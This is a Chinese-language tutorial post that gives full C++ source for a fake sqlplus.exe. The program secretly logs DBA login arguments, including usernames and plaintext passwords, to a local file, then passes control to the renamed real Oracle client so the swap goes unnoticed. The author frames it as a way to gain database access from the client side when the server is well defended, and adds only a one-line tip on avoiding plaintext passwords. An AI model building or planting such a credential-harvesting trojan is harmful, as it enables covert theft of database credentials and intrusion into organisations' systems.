當DBA登入本地或遠端資料庫時,為了省事,用"sqlplus 使用者名稱/密碼@串連服務名" 的方式登入資料庫是再平常不過了,而我們如果將Oracle的SQLPlus換成我們自己的實現,然後當使用時,記錄下它的登入資訊,就得到了資料庫的使用者名稱,密碼等資訊。
這是一種很簡單的,偷龍轉鳳的方式,有其局限性。但有時,如果資料庫本身的防護很嚴,從DBA用戶端這邊下手,利用這種方式有時也能有意外的收穫。
:
這種方式跑起來和Oracle原來的是一模一樣的. 光看是看不來什麼地。
被記錄下的登入資訊:
代碼如下:
/**
*author: xiongchuanliang
*desc: 用自訂的sqlplus替換掉Oracle原版的,並在自訂的程式中記錄下使用者的登入資訊的示範
1. 找到Oracle內建的sqlplus.exe,將其命名為其它檔案
2. 用自訂的替換掉原版
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
HRESULT CMDEx(const char *pCmd) ;
//將原版的sqlplus.exe改為sqlplus_ora.exe";
const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe";
const string oper_log = "C:/mysqlplus.log";
int main(int argc,char* argv[])
{
string sqlplus_cmd = sqlplus_path;
ofstream flog(oper_log,ios::app);
SYSTEMTIME sys;
if(flog){
GetLocalTime(&sys);
flog<<sys.wYear<<"-"<<sys.wMonth<<"-"<<sys.wDay<<" "<<sys.wHour<<":"<<sys.wMinute<<":"<<sys.wSecond<<" ";
}
for(int i=1;i<argc;i++)
{
sqlplus_cmd.append(" ");
sqlplus_cmd.append(argv[i]);
if(flog) flog<<" "<<argv[i];
}
if(flog){
flog<<endl;
flog.close();
}
cout<< "示範:%s\n"<<sqlplus_cmd.c_str()<<endl;
CMDEx(sqlplus_cmd.c_str());
return 0;
}
HRESULT CMDEx(const char *pCmd) //LPCTSTR pszCMD
{
#if defined(WIN32) || defined(WIN64)
if(pCmd == NULL || pCmd[0] == 0)
{
return S_FALSE;
}
STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa = {0, NULL, TRUE};
//建立匿名管道
if(!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return S_FALSE;
}
ZeroMemory( &pi, sizeof(pi) );
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.hStdInput = hRead;
si.dwFlags = STARTF_USESHOWWINDOW;
char szCMD[1024] = {0};
sprintf_s(szCMD,1024,"cmd.exe /C %.1000s",pCmd);
//建立進程執行命令
if(CreateProcessA(NULL,szCMD , NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
//等待命令執行完成
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(hWrite);
DWORD dwRet, dwReaded;
char szBuf[256] = {0};
//擷取進程執行傳回值
GetExitCodeProcess(pi.hProcess, &dwRet);
//讀取控制台終端輸出
while(ReadFile(hRead, szBuf, 255, &dwReaded, NULL))
{
szBuf[dwReaded] = 0;
//輸入命令內容到螢幕
cout<< szBuf <<endl;
memset(szBuf,0,256);
}
CloseHandle(hRead);
return HRESULT_FROM_WIN32(dwRet);
}
else
{
CloseHandle(hWrite);
CloseHandle(hRead);
return(HRESULT_FROM_WIN32(GetLastError()));
}
#else
return 0;
#endif
}
這僅示範了下準系統,以此類推,其它資料庫的一些命令列程式也可以用這種方式做,對這種方式最好的防護方法是在輸入連接字串時不輸入明文的密碼。